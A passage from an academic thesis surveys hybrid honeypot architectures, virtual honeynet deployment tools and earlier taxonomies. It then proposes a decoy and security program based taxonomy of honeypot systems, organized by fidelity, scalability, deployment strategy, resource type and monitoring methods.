For instance, Bailey et al. [28] presented a globally distributed hybrid honeypot architecture which deploys LIHs as the frontend content filters monitoring and redirecting attack traffic and HIHs to investigate the attack traffic in detail. In this hybrid honeypot architecture, the LIH, Honeyd, was used as the lightweight mechanism to provide frontends to filter the uninteresting traffic.

C. Type III

This type of hybrid systems is different from the previous two types in system architecture. This architecture deploys LIHs as the frontends and HIHs as the backends at the same organization networks in order to protect the production systems from being attacked. It applies a programmable proxy to make a decision whether the incoming traffic is interesting and in that case making a connection handoff to redirect it into backends instead of frontends. Thus, in this type of hybrid honeypot systems, the interesting traffic will be redirected into the high-interaction honeypots without flowing through the low-interaction honeypots. Figure 11 shows an overview of hybrid system type III.

Figure 11. An overview of hybrid system type III.

Honeybrid [56], proposed by Robin Berthier, is an example of a type III hybrid system. It consists of three parts: a gateway, a set of low-interaction honeypots (frontend) and a set of high-interaction honeypots (backend). The Honeybrid gateway is the central part including the Decision Engine and the Redirection Engine is in charge of orchestrating the filtering and the redirection between frontend and backend. The Decision Engine is used to select interesting traffic and the Redirection Engine is used to transparently redirect the traffic from LIHs to HIHs. A contribution of Honeybrid is that a simple classification of interesting attacks is proposed: attacks matching a specific fingerprint (well-known attacks); attacks presenting an original content that was never seen before (0day attacks); attacks sending commands that are not implemented in the LIHs (i.e., not implemented in Honeyd). Using this classification, Honeybrid can effectively redirect the attacks worthy of further investigation to HIHs.

In 2012, VMI-Honeymon [49] was presented which employs a medium-interaction honeypot called Dionaea [99] in conjunction with memory introspection based high-interaction honeypots to detect and capture malware. It proposes a novel method to tackle the semantic gap problem: reconstructing high-level state information from low-level data sources. Traditionally, several existing systems aim to bridge the semantic gap by intercepting system calls through the virtual machine monitor (VMM). However, this approach is vulnerable to in-guest detection of the monitoring environment which can allow malware to disable or modify its behavior. In order to bridge the semantic gap, VMI-Honeymon uses a Volatility extension to call the API of the Xen Access successor LibVMI to access the memory of the guest VM. Later, the system compares the Volatility results obtained from live high-interaction honeypot to the results that were obtained from the virgin state of the high-interaction honeypot. By checking and comparing all elements, the system flags all deviations as an anomaly. Besides, to filter out false positive events, it compares the SHA1 checksum of the candidate files in the running VM to the virgin state and only extracts new files or files with changed checksums. Thus, VMI-Honeymon can bypass the guest kernel to reconstruct the state of the VM.

Most recently, another hybrid system [59] based on VMI-Honeymon was proposed, where a novel approach to the clone-routing issue is proposed via using the open-source Honeybrid gateway that allows deploying high-interaction honeypots simultaneously without requiring in-guest network reconfiguration.

2.4. Honeypots Deployment and Management

In this subsection we will describe some virtual honeypot deployment tools and honeypot management platforms, which facilitate the management and deployment of honeypot system using key technologies. Although according to the definition of honeypot, any type of information system resource can be deployed as honeypot, the use of virtualization technologies to deploy virtual honeypots has important advantages in terms of ease of management and maintenance, as it has already been described. Therefore, we focus on virtualization based tools and environments.

2.4.1. *Virtual honeypots deployment tools*

Honeyd [69] provides a virtual honeypots framework, which can simulate multiple decoys simultaneously following a user-defined network topology. However, it has several drawbacks. Firstly, it is a software solution that only focuses on low-interaction honeypots simulation. Secondly, though Honeyd can dynamically reconfigure each honeypot scenario (template in Honeyd's terminology), it has limitations at the time of changing the IP routes configuration, which must be set

beforehand. Thirdly, every template can only set one Ethernet with MAC address, but it can bind multiple IPv4 addresses. Although Honeyd has some disadvantages, it still has many applications due to its lightweight and distributed appearance as well as its dynamic feature. For instance, it can be used to create low-interaction honeynets that clone specific networks [74] and it can also be employed to implement anti-detection algorithms by dynamically redeploying honeypots [76] [83].

With the generalization of the use of virtualization technologies, several virtual machine based solutions were proposed to create honeypots. For instance, User-Mode Linux (UML) as the virtualization engine was used in the virtual honeynet architecture [103] to mimic Gen II honeynets, where the hosting machine acts as Honeywall to monitor the virtual honeypots running in the hosting machine. The built-in tty logging mechanism allowed the keystroke sent to hosting machine to be silently captured. Hence, the use of UML virtualization technology made the proposed honeynet much more portable, easier to setup and more cost effective. This work proposed an alternative approach to deploy honeynets based on virtualization technology, compared to the traditional approach based on the use of physical machines, that was widely followed by security researchers. However, this virtual honeynet approach did not provide the dynamic configuration capability required in our current honeynet research.

Another similar case in point is the use of VNUML (Virtual Network User Mode Linux) in virtual honeynet deployment [104]. The authors of this work found UML (User-Mode Linux) as a powerful but complex tool, because of the manual creation of medium-to-big size honeypot scenarios was generally difficult due to all the low level details to be managed. Thus, they devised a high-level description of the virtual honeynet and develop a tool to process that description automatically avoiding the user to deal with the low-level complex details. VNUML had two components: a simple descriptive XML-based language that can specify a honeynet scenario to be simulated; and an application that interprets the honeynet description and generates and manages the honeynet scenario inside the hosting machine. The authors provided a validation case using VNUML to mimic a Gen II honeynet. However, this work still did not provide the capability of dynamic reconfiguration of the honeynets deployed. The user has to describe the honeynet scenario beforehand manually by using the XML-based language. Very similar work to VNUML at first sight is NoSE (Network Simulation Environment) [105]. VNUML focus on using UML to build honeynet and there seems to be no effort going beyond UML, while NoSE integrates different virtual machine hypervisors such as Xen, UML, and QEMU, hence it can support to emulate various operating systems. But the honeynets created by NoSE are still static.

Other virtualization technologies like VMware can also provide the ability to create a specialized network of hosts on a single physical machine. For example, the authors of the work [106] shared their experiences with a Generation III Virtual Honeynet deployment by using VMware server. But the author also did not devise the capability of dynamic configuration for the VMware server. Compared with previous virtual honeynets, this work did not place the Honeywall on the host, but installed it on a single virtual machine. The data capture tool namely Sebek was used to capture the keystroke in virtual honeypots.

Most recently, some new virtualization technologies were proposed to facilitate more capable honeynets. For instance, the decoys based on KVM (Kernel-based Virtual Machine) hypervisor [107] can provide low-level surveillance from outside the guest OS, which can keep the system activity monitor stealthy and the intruder has no way to bypass that surveillance. Moreover, LXC (Linux Containers) virtualization provides a lightweight alternative to hypervisor-based virtualization for honeypots deployment [108]. LXC can create multiple isolated Linux user-space instances by partitioning the resource of the host. Thus, the startup of a LXC based virtual machine is very fast, but LXC can only be used to emulate Linux over Linux, but not other operating systems. VNX [109] integrates multiple hypervisors such as KVM and LXC and can also supply dynamic configuration.

2.4.2. Honeynet Management Systems

Apart from the tools described in the previous subsection, specifically, some other multi-tenant honeynet management platforms have been proposed.

Levine et al. ever used the traditional Gen I honeynet architecture for implementing a basic honeynet management system across large enterprise networks [110]. It only focuses on using Snort to detect compromised computers across Georgia Tech network. Honeylab [111] provides a platform to share address space and computing resources. It is an overlay of distributed infrastructure which allows security researchers to deploy their own honeypot systems without setting up of distributed sensors in different geographical locations. It provides the resource management of honeypot deployment but lacks of monitoring of honeypot status. Another case in point is the DarkNOC [112] designed to collect interesting traffic from different information sources, e.g. NetFlow, Snort, and Nepenthes, in order to analyze the data and present it to users in an efficient and actionable manner. It is a management and monitoring tool for complex honeynet, however, it did not provide a method to deploy the honeypots. Besides, there is no network and system description language specifically for honeynet in these existing honeynet management systems.

2.5. Classifications of Honeypots

From the past 15 years, some taxonomies and surveys of honeypot systems were already presented. The first brief taxonomy of honeypots was proposed by Zhang et al in paper [118], which applies the security goals and the application goals to classify the honeypots. The author proposed four categories of security goals which are: prevention, detection, reaction and research. For the application goal the authors didn't propose the criteria for classification but only some application-oriented solutions. Thus, this is only a rough and simple classification of honeypots without having clear definitions of categories, which prevents it to be applied to fully classify the present honeypot systems.

One of the best known taxonomies of honeypots [119] was proposed by Christian Seifert et al in 2006. It created a taxonomy of honeypots which was considered as a paradigm in this field of study. However, its classification scheme cannot fully differ the cited honeypots. For example, Honeyd and Network Telescope cannot be differentiated when applying this taxonomy. Also, though almost all existing homogeneous honeypots can be classified by this classification scheme, it cannot be applied to heterogeneous honeypot systems such as hybrid honeypot systems. Thus, as the number of complex and hybrid honeypot projects grew, its application loses validity.

The book titled "Virtual Honeypots" [23] describes various virtual honeypot solutions and provides a classification based on the interaction level criterion. The authors provided many details including the installation and configuration guides on a number of low-interaction and high-interaction honeypots, as well as several hybrid systems. An advantage of this book is that it unveils the world of honeypots in front of the reader's eyes by the power-packed resource of technical and insightful information. However, this book primarily focuses on describing the use of virtualization techniques to create honeypots, but it lacks either a clear classification scheme of honeypot systems or the methodology for analyzing the different types of honeypot systems.

Bringer et al. [120] presented a survey of recent advances in honeypot research. It fully enumerated a mass of honeypot projects and research (around 60 papers) after year 2005. The survey enables the security researchers to get knowledge of honeypot systems and the state of the art. However, there was a lack of distinct classification scheme to organize the achievements in honeypot research. The author only simply classified the honeypots by the security purposes and topics but did not provide a complete classification hierarchy. Also, the work did not present the insight behind the evolutions and trends in the development of honeypots. Therefore, it is difficult to apply it to analyze other honeypot systems not referenced on that paper.

Another recent survey in honeypot research was presented by Nawrocki et al. [121]. It is a complete survey on independent honeypot software. The work reviewed almost all the existing independent honeypot software, and used different criteria to compare and analyze them. However, this survey does not consider those cooperative honeypots that make up a vital part of honeypot development, and thus, there is no survey on the cooperative honeypots related techniques either.

Similarly in 2012, European Network and Information Security Agency (ENISA) made a report titled “Proactive detection of security incidents II – Honeypots” [122], which provided a taxonomy of honeypots, focusing on creating a detailed classification of server-side honeypots class. This report provided examples of every class but it did not cover the wide application of the classification to most cited honeypots. Importantly, this work only considered the single independent honeypots, but was not validated on using it to classify the complex cooperative honeypots.

We defined a honeynet as a network of honeypots following certain network topology. As a consequence, a honeynet is a type of honeypot system. However, some early articles do not agree to this definition. For example, in the Symantec deception server experience [123], the security researchers presented three deployment strategies, minefield, shield and honeynet. The terminology honeynet, however, was used as a kind of deployment strategy. Actually, the authors provided a good practical experience about honeypots instead of theoretical classification scheme of honeypot systems. The deployment strategies proposed in this work are very interesting and can be inspiring for security researchers. Another well-known book from the Honeynet Project called “Know Your Enemy” [22] described the development history of Gen I, II, and III honeynet. It also presented the concept of virtual honeynets in detail as well as the research on distributed honeynets. Although the book did not provide a theoretical classification of honeypot systems, it represents a good reference in the knowledge area of honeypot systems.

2.6. Conclusions

In this chapter we have presented a summary of the state of the art around honeypots: an important and specific security tools that focus on malicious behavior investigation. Honeypots have been used and investigated for more than a decade and can be considered a mature technology. However, there are still several open issues and areas for improvement.

First of all, honeypot systems have become more and more complex, such as hybrid systems, in order to cope with sophisticated attacks and capture useful data about them. Due to the important limitations of individual simple honeypots, complex honeypots including multiple heterogeneous

technologies and different types of individual homogeneous honeypots are needed, in order to deal with complicated tasks. However, there is a lack of a generic honeypot system architecture that can help to organize the heterogeneous technologies and the different types of single homogeneous honeypots. The existence of such flexible heterogeneous honeypot system architecture would facilitate the management of the different types of single homogeneous honeypots and the adaptation to sophisticated attacks.

Secondly, although several traffic classification and filtering mechanisms have been proposed, all of these data reduction approaches focus on certain network attacking scenarios and none of them are customizable. As each type of experiment defines the interesting data that should be captured, a customizable traffic classification and filtering mechanism has to be provided to the security researchers in order to allow them defining their captured data according to the different network attacking scenarios.

Thirdly, there has been a significant activity around honeypot systems in the last years. However, most of the taxonomies and classification schemes of honeypot systems are out of date and they are not able to classify and analyze some of the advanced honeypot systems such as complex honeypot systems consisting of multiple heterogeneous technologies and individual simple honeypots. Thus, it is necessary to develop a novel taxonomy of honeypot systems that can classify not only homogeneous honeypot systems but also the heterogeneous ones, in order to help security researchers to gain insight of honeypot technology and to explore the design space of honeypot systems from a theoretical point of view.

CHAPTER 3. A NOVEL TAXONOMY of HONEYPOT SYSTEMS

A honeypot is a type of security facility deliberately created to be probed, attacked and compromised. It is often used for protecting production systems by detecting and deflecting unauthorized use attempts, and it is also useful for investigating the behavior of attackers, particularly, in the case of unknown attacks. For the past 17 years much effort has been invested to research and develop honeypot based techniques and tools that have evolved to become increasingly powerful mean to contend against the creations of the blackhat community. In this chapter, by means of the study of multiple honeypot systems, the two essential elements of honeypot - the decoy and the security program - are captured and presented, together with the two abstract organization forms - independent and cooperative - in which these two elements can be integrated. A novel decoy and security program (D-P) based taxonomy is proposed, with the purpose of investigating and classifying the various techniques involved in honeypot systems. The taxonomy is also applied to the wide set of tools and systems studied to demonstrate its validity. Finally, the tendency of honeypot development is presented as well.

3.1. Introduction

At present, there are many different types of honeypots for different attacking scenarios. It is a challenge to build an appropriate honeypot system because it needs to meet multiple requirements, such as the interaction level, the scalability, the security goal, the adaptability, the network topology, etc. As stated, there are several existing taxonomies of honeypots, which can be used to analyze the honeypots. However, with the development of honeypot projects, several new issues about how to classify the honeypots have been raised, which the existing taxonomies of honeypots are not be able to address.

First, the technology features were not described clearly so that the definitions of existing classification schemes seem plausible but are still ambiguous to the novice who want to gain insight

into the honeypot technology. For example, in some classifications, a honeypot emulating a limited set of functions of complete system is called low-interaction honeypot, and a honeypot partially emulating a complete system but providing more functions than a low-interaction honeypot is named medium-interaction honeypot. In some non-strict classifications, what's worse, the medium-interaction honeypots were even classified into the category of low-interaction honeypots because both of them just partially emulate fully functional system. These are commonly seen poor definitions about the interaction levels of honeypot since they did not unveil the technical distinction.

Second, honeypot systems become more and more complex. According to the different security requirements, a variety of honeypots have been proposed, i.e. there are not only simple independent honeypot software [121], but also many complex cooperative honeypot systems which always contain heterogeneous technologies, such as honeynets [17] and hybrid systems [28] [49] [91], etc. But there is a lack of distinct method that can quickly catch the key points of various honeypots and can also discover insights, advance research and development in this important area.

Therefore, the objective of this chapter is to propose a novel taxonomy for providing insight into the current honeypot systems. The contributions of this chapter can be summarized as follows:

- (1) Two essential elements (decoy and security program) of a honeypot are captured, and how they are organized is also described. The proposed elements and their organizations can provide a general view to investigate the diverse honeypot systems.
- (2) A novel decoy and security program (D-P) based taxonomy is proposed to investigate different aspects of honeypot technology.
- (3) Several development tendencies are identified by comparing the honeypots according to the taxonomy.

3.2. Honeypot Anatomy

As stated, the widely used definition of honeypot is: a honeypot is an information system resource whose value lies in the unauthorized or illicit use of that resource. However, it is more like a description about honeypot from its application value. We therefore provide a clear definition of what is a honeypot (see Figure 12).

Figure 12. Honeypot Anatomy: core elements and their organizations.

A **honeypot** includes two essential elements, decoys and security programs, and it is used to deliberately sacrifice its information resource allowing unauthorized and illicit usage for security investigation. The **decoy** can be any kind of information system resource, and the **security program** facilitates the security related functions, such as attack monitoring, prevention, detection, response and profiling. In addition, the security program should be running in stealthy to avoid being detected. Among the existing honeypot projects and honeypot research work, the terminology meanings were not consistent. Some refer to decoys as honeypots. For example, a decoy can be a fake digital entity. The terminology for digital entity acting as decoy is honeytokens [16]. In the book "The Cuckoo's Egg", Stoll deployed the honeytokens, i.e. digital files, with security program to track a German hacker. Thus, the honeytokens are decoys, but Stoll's system is a honeypot system. Our definition clarifies that a vulnerable system without any security program is only a decoy rather than a honeypot, unless it is equipped with security program then we call it honeypot.

The organization of the two essential elements can be roughly categorized into two coupling degrees: loose and tight. Coupling refers to the degree of direct knowledge that one component has of another. Loose coupling is one in which each component has, or makes use of, little or no knowledge of the definitions of other separate ones. It enables components to remain completely autonomous and unaware of each other while still interfacing with each. In contrast, tight coupling is when a group of components are highly dependent on one another, or they are built into the same impartible unit to perform the task. The **independent honeypot** refers to the one using tight coupling, and the **cooperative honeypot** indicates the one using loose coupling. Nawrocki et al. [121] surveyed a mass of honeypot software that are independent honeypots, while complex systems such as the honeynets [17] and hybrid systems [28] [49] [91] are cooperative honeypots. In this thesis, we use the term "honeypot" and "honeypot system" interchangeably.

3.3. Requirements of Taxonomy

Another thing that also should be made certain in advance is the requirements of taxonomy. Taxonomy is the theoretical study of classification. Hansman [124] defined what a high-quality

taxonomy should consist of. These requirements are concluded in a comprehensive list which this thesis adheres to for the taxonomy presented:

- Acceptable: The taxonomy should be structured for general acknowledgement.
- Comprehensible: The taxonomy should be understood by experts as well as people without expert knowledge.
- Useful: The taxonomy should be able to gain insight into the field of study.
- Mutually exclusive: The classes of taxonomy should not overlap.
- Unambiguous: Each category of the taxonomy should be clearly defined for classifications without ambiguity.
- Specificity: Each term of the taxonomy should have unique definition without confusion.
- Completeness: The taxonomy should be able to classify all possible objects of study and provide categories accordingly.
- Coherence: The terminology of taxonomy should comply with the existing terminology in order to avoid confusion and to build on previous knowledge.
- Determinism: The procedure of classifying should be clearly defined.
- Repeatability: Classifications should lead to the same results independent of who performs the classifying.

However, a taxonomy cannot always meet all the requirements. For example, it is hard to achieve the requirement of “Completeness” due to the expanding scope of the field of study. Moreover, the terminology could be improved with the development of the field of study so that the requirement of “Coherence” can be influenced.

3.4. D-P based Taxonomy of Honeypot Systems

This section proposes a novel D-P based taxonomy as Figure 13 shows. The terminology is described by a technical approach, which can make their definitions distinct and easy to understand. The classification scheme are divided into two categories. The first category includes the features of a decoy, and the second one consists of the functions of a security program. The D-P based taxonomy is used as a basic conceptual model in order to investigate honeypot technology. Under this taxonomy framework, we will review the typical honeypots and those specific honeypot-related techniques.

Figure 13. D-P based taxonomy of honeypot systems

As the graph shows, honeypot systems can be classified according to the features of the decoy and the security program. We still apply common honeypot terminology to describe the classification scheme in the subsections.

3.4.1. The Features of the Decoy

Decoy aims to be attacked to capture data. There are several primitive characteristics that can compose the design specification of a decoy.

A. Fidelity

Fidelity denotes the degree of exactness of an information system resource that the decoy provides to the attack. It is a criterion used to classify the interaction into three levels: low, medium, high (see Figure 14).

Figure 14. The fidelity in terms of interaction levels

Low-interaction honeypot (LIH) only provides a little interaction to adversaries. The decoy of LIH always has another name, facade. A traditional LIH, e.g. Honeyd [71], is a program emulating the protocols of operating systems with a limited subset of the full functionality. An adversary is not able to compromise a LIH because there is only OS fingerprinting artifice instead of real operating system on the LIH. A LIH system can provide security program to monitor the facade in order to capture the network activity.

Medium-interaction honeypot (MIH) can provide much more interaction to the adversaries. However, unlike to LIH, MIH does not implement TCP/IP stacks by themselves. Instead, MIHs, e.g. Dionaea [99] and Cowrie [101], bind on sockets and leave the operating system do the connection management. In contrast with LIHs that implement network protocols, the simulation algorithm of MIHs is based on emulating logical application responses for incoming requests. Thus, the request arriving to the MIH will be watched and examined, and the fake responses will also be created by the security program of the MIH.

High-interaction honeypot (HIH) is fully functional system that can be completely compromised by adversaries. The decoy of HIH is often a genuine system, such as Argos [95] and Cuckoo Sandbox [125]. Because the fully functional honeypot can be compromised, the HIH must equip security toolkits for system activity capture and outgoing traffic containment.

A **hybrid honeypot system** often consists of decoys of different interaction levels, e.g. Artail's hybrid honeypot framework [91], and Bailey's [28] and Lengyel's [59] hybrid honeypot architectures. In a hybrid system, the LIHs or MIHs are often used as front ends for large-scale deployment and the HIHs are used as back ends for deep investigation. Those distributed front ends are named **sinkholes**, which could be the devices (i.e. sensors, redirectors, etc.), such as network telescopes [19], darknet [20], blackholes [21], IMS [27], and iSinks [24], or software artifice assigned with a portion of routed IP address space. Instead of deploying a large number of HIHs across multiple networks, they can be centrally deployed in a consolidated location. This type of single network of honeypots is called **honeypot farm**, such as the one used in the Potemkin [61].

B. Scalability

Scalability represents the capability to provide a growing amount of decoys, or its potential to be enlarged to accommodate that growth. It can be classified into two categories: unscalable and scalable. An unscalable honeypot only includes a certain number (one or more) of decoys and cannot change the number, e.g. Argos [95] can only monitor one virtual decoy. On the contrary, A scalable honeypot system can deploy multiple decoys and its security program is able to monitor those decoys simultaneously, e.g. Honeyd [71] is able to emulate multiple OS fingerprinting artifice at the same time. A honeynet is also one kind of scalable honeypot system. A honeynet can use arbitrary network topology to deploy its decoys. Instead of applying the narrow definition proposed by [17] [18], we proposed a broad definition: a **honeynet** is a network of honeypots deployed by using a user-defined certain network topology.

C. Adaptability

Adaptability refers to the reconfiguration capability to adapt the state of the decoy to changed circumstances. It has two levels: static and dynamic. Traditional static honeypots, e.g. Specter [126] and Dionaea [99], need the security researcher to determine the configuration beforehand and manually reconfigure it later. This static configuration scheme has several drawbacks: 1) it is a complex task to manually configure honeypots; 2) the static configuration scheme is not able to make an instant response to the intrusion event in time; 3) it is not able to adapt to the change of the objective cloned network timely. In contrast, a **dynamic honeypot** is able to timely adapt to the specific events. It is able to change the configuration periodically or even in real-time to adapt to the dynamic network environment and respond to the intrusion event, e.g. Honeyd [71] and Glastopf [127].

D. Role

Role describes in which side the decoy plays within a multi-tier architecture. A honeypot can play two roles: server and client. It refers to whether a honeypot actively detects malicious program or passively captures unauthorized traffic. Most honeypots are server side ones, e.g. Specter [126], Honeyd [71] and Dionaea [99], which wait passively to be attacked. Adversaries find these honeypots on their own initiative and then probe and attack them. Most server-side honeypots never advertise themselves, but some ones can "advertise" themselves, e.g. Glastopf [127], so that adversaries are aware of them. A **client honeypot** is used to investigate the client-side intrusion. This type of honeypot can actively initiate requests to servers and investigate the malicious program on the server side, such as Ghost [129].

E. Physicality / Virtuality

Physicality / Virtuality denotes the fact or state of decoys as they actually exist, which can be divided into two categories: physical and virtual. A **physical honeypot** refers to a genuine computer system running on a physical machine and acting as a decoy. Indeed, physical honeypot often implies high-interaction but could have higher performance than virtual HH. However, it is infeasible to deploy physical honeypots for each IP address in a large address space. The contrary concept is **virtual honeypot** that uses virtual decoys that need the host machine to respond to the network traffic sent to the virtual decoys [23]. We can have multiple virtual honeypots hosted concurrently by one physical machine.

Though according to the definition of honeypot, any type of information system resource can be deployed as decoy, the use of virtualization technologies to deploy virtual honeypots has important

advantages in terms of ease of management and maintenance. So, we focus on the virtualization tools for deploying honeypots. Figure 15 shows the development of the virtualization tools in the last 17 years (dates are approximate).

Figure 15. Virtualization technologies for decoy deployment

On one hand, all the LIHs and MIHs are virtual honeypots according to their nature of design. The decoys of LIHs are software artifice, which emulates the fingerprints of operating systems and services. On the other hand, with the development of virtualization technology, the HIHs can be virtualized as well. Galán et al. [102] summarized the virtualization technology evolution through three categories: baseline virtualization, testbed oriented virtualization and datacenter oriented virtualization. The virtual HIHs deployment tools can be described by these three categories as well.

For the HIHs using the baseline virtualization technologies, the first example is that the User-Mode Linux (UML) was used as the virtualization engine to mimic the Gen II Honeynet in [103], where the host machine runs the Honeywall to contain and monitor the entire virtual honeynet. The host can apply the built-in tty logging mechanism to capture the keystroke of the honeypots silently. However, the UML only enables Linux kernel-based virtual machines to run as an application within a normal Linux host. Instead, Abbasi and Harris [106] used VMware server to deploy virtual Gen III Honeynet, which can support various operation systems based on x86 architecture. Different from the previous work, it applied a multi-system virtual honeynet architecture that installs the Honeywall on a separate single virtual machine instead of the host. It also used the Sebek to perform system activity capture in the virtual honeypots. Similarly, the KVM (Kernel-based Virtual Machine) hypervisor can also provide the emulation for different operation

systems. Capalik's system [107] used the low-level surveillance of the KVM hypervisor to stealthily monitor the system activity from outside of the virtual machine, which results in the attacks having no way to bypass the surveillance. Recently, some novel lightweight virtualization technologies provide alternatives to the hypervisor-based virtualization for honeypot deployment. For example, Memari et al. [108] created virtual honeynet based on the LXC (Linux Containers), which can simultaneously create multiple Linux user-space instances through partitioning the resource of the host. The advantage of the LXC based virtual honeypot is the fast startup. However, it can only emulate Linux over Linux.

As it is a complex task to manually generate all the low level details for the creation of medium-to-big size honeypot scenarios, several testbed oriented virtualization technologies were proposed, which can be used to deploy virtual HIHs. VNUML (Virtual Network User Mode Linux) [104] proposed a high-level description for virtual honeynet and developed a tool to process that description automatically avoiding the user to deal with the complex low-level details. However, it only focuses on using the UML as its underlying technology so it still can only emulate Linux kernel-based virtual machines. Furthermore, some generic tools that integrate multiple virtual machine hypervisors were also proposed. NoSE (Network Simulation Environment) [105] addressed the multi-hypervisor issue through integrating a variety of virtual machine hypervisors, such as UML, Xen and QEMU, into one generic platform, so it can emulate different types of OSs for the creation of virtual honeynet. The drawback of NoSE and the previous proposals is that they lack of the capability of dynamic configuration for the honeynet deployment. All of them are static solutions. VNX [109] is a more powerful generic virtualized tool, which integrates more hypervisors, such as UML, QEMU, KVM, LXC etc.

Apart from the tools described above, particularly, some other multi-tenant datacenter oriented virtualization technologies for HIHs deployment have been proposed. Honeylab [111] provides a platform to share IP address space and computing resources. It is an overlay of distributed infrastructure which allows security researchers to create and deploy their own desired honeypot systems without setting up distributed sensors in various geographical locations. It provides the resource management of honeypot deployment but there is a lack of monitoring of honeypot status. DarkNOC [112] is designed to collect interesting traffic from different information sources, e.g. NetFlow, Snort, and Nepenthes, in order to analyze the data and present it to users in an efficient and actionable manner. It is a management and monitoring tool for complex honeynet. In addition, Han et al. proposed the HoneyMix [160] system that treats a honeypot as a network security function and instantiates honeypots by using Network Function Virtualization (NFV).

F. Deployment Strategy

Deployment Strategy presents the pertinence tactics of deploying the decoy(s). There are five common decoy deployment strategies: sacrificial lamb, deception ports, proximity decoys, minefield and redirection shield.

Sacrificial lamb is often a normal system without connections to production networks, and waits to be compromised by attacks, e.g. Argos [95] and Cuckoo Sandbox [125]. It can be a commercial off-the-shelf (COTS) computer, a router, or a switch etc. The typical implementation involves loading the operating system, configuring some applications and then leaving it on the network to see what happens. Sacrificial lambs provide a mean to analyze a compromised system down to the last byte with no possible variation. However, the analysis is manual and often requires numerous third-party tools. They also do not provide integrated containment or control facilities, so will require additional network considerations.

Deception ports on production systems indicate simulated services disguised as well-known services. These are basically LIHs or MIHs, such as Specter [126] and Dionaea [99], which mimic various services on different ports of the system, e.g. HTTP is mimicked on port 80, SMTP on 25 etc. These honeypots first "observe" the operating system they reside on and then portray these services according to that. The basic idea is deception so that the adversaries are just "stuck-up" in solving the deception while they can either be knocked down from the network or suitable measures like trace-back, forensics can be carried out.

Proximity decoys indicate that the decoys are deployed on the same network as production systems and possibly clone the configuration of the production systems. There will be no legal hassles to monitor the decoys. Because they are part of the same subnet where the main servers are included, and it is allowed to monitor any activity pertaining to your own network. Also, once they are in proximity to other production systems you have ease in either re-routing traffic to the honeypots once some malicious attack is detected on the production systems, or trapping that attack. Honeyd [71] can use the free IP addresses of a certain production network to deploy and integrate the decoys into the production network, which exactly follows this deployment strategy.

Minefield means deploying a relatively large number of honeypots at the perimeter or the forefront of the protected network to act as landmines that explode upon contact. Any scans or vulnerability detectors can exploit the contents of honeypots, sparing the production servers. So, this deployment strategy can be used to capture a large amount of data. As stated, IDSs are placed at the perimeter, they can use the contents of honeypots to make alarm in order to reduce the probability of

producing false alarms. This sinkholes, e.g. network telescopes [19], often use this deployment strategy.

Redirection shield uses port redirection or traffic re-routing to forward the malicious data to the honeypots. So, this strategy needs the intrusion detection technology to investigate the network traffic. If the traffic is interesting, it will be redirected into the honeypot shield for investigation, which can protect the production system from being attacked. Also, the shield and the production network should be coupled, tightly or loosely. The honeypots can reside in the same address space of the production network or reside on another subnet alongside the production network or even remotely. For example, Shadow Honeypots [31] following this deployment strategy use the shadow application as a shield to cope with the malicious traffic to protect the production application from being attacked.

G. Resource Type

Resource Type denotes the type of information system resource available for the attacks. Most honeypots provide or emulate general attacked resources, which are aimed at detection of more than one attack technique. Currently, many specific attacked resource oriented honeypot systems have been proposed, which can be defined as follows:

- **Web application honeypots** are tools aimed at detection of attacks on web application, e.g. Glastopf [127];
- **VoIP honeypots** are used to capture threats in internet telephony (Voice over IP), e.g. Artemisa [127];
- **SSH honeypots** are oriented on secure shell (SSH) attacks, e.g. Cowrie [101];
- **Bluetooth honeypots** are aimed to capture the attacks propagating through the Bluetooth device, such as the Bluepot [130];
- **USB honeypots** are used to investigate arbitrary malware on USB storage devices, e.g. Ghost USB Honeypot [129];
- **SCADA/ICS honeypots** emulate industrial control system resources, e.g. Conpot [131];
- **IoT honeypots** are used to capture the attacks that target IoT devices, such as the IoTPOT [132];
- **IPv6 network honeypots** are tools used to capture attacks targeting IPv6 networks, e.g. Hyhoneydv6 [133].

3.4.2. The Functions of the Security Program

As previously stated, the security program aims to carry out all the security related functions, such as attack monitoring, prevention, detection, response and profiling. This subsection describes in detail all these function.

A. Attack Monitoring

Attack Monitoring is aimed to log all the intrusion events and malicious behaviors to allow a further investigation. Two critical layers of data can be identified: **network activity** (every inbound and outbound, connection, packet and its header information as well as its payload, etc.), and **system activity** (keystroke, system call, rootkits, etc.).

Surveying the techniques for capturing and collecting network data, particularly in the case of cooperative honeypots from distributed decoys, two widely used network data forwarding methods are found: tunneling and application-level proxying.

Tunneling is used when some distributed decoys, such as network telescopes, darknet, and blackholes, are placed in a different location where the processing backends are. As the decoys are assigned a portion of routed IP address space corresponding to its physical location, a tunnel mechanism based on a tunneling protocol like GRE has to be used to transport data packets to the backends. By using tunnels, the decoy backends seem to be directly deployed in the production network, being the tunnel almost invisible to “traceroute”, although the tunnel will add some latency and modify the MTU. Some hybrid systems [61] uses GRE tunnel to forward the inbound data from the frontends to the backends.

Application-level proxying consists of transporting the content of the packets to the backends by means of application specific proxies. The application-level proxies are also known as application-level gateways, and are available for common Internet services, e.g. an HTTP proxy is used for Web access and an FTP proxy is used for file transfers. Honeyd [71] provides an application-level proxying functionality. For instance, on TCP port 23, Honeyd can be configured to automatically proxy traffic to another machine's Telnet port.

In contrast, the generic so called “circuit-level” proxies (that conceptually work at the session layer of the OSI model) give support to multiple applications. For example, SOCKS is an IP-based circuit-level proxy server that supports applications using TCP and UDP. Application-level proxies provide better support for the additional capabilities of each protocol than circuit-level ones do (e.g. application-level proxies can better support virus scanning). Also, they are client-neutral and require

no special software components or operating system on the client computer to enable the client to communicate with servers through the proxy.

On the other hand, system activity monitoring consists of capturing the malicious activity in HHs. According to the requirement of stealthy capturing, some approaches have been proposed. Sebek [37] and Qebek [38] are examples of the first monitoring tools used to capture the system activity in honeypots. They modify the system kernel by adding new kernel modules that capture system activity in a supposedly hard to detect way. However, there are nowadays several techniques to detect the presence of this type of kernel modules installed inside the honeypots that can be used by adversaries. The well-known CWSandbox [39] uses the in-line code overwriting approach to hook the API function in order to observe the malware behavior without being noticed. However, this approach still has the possibility of being detected.

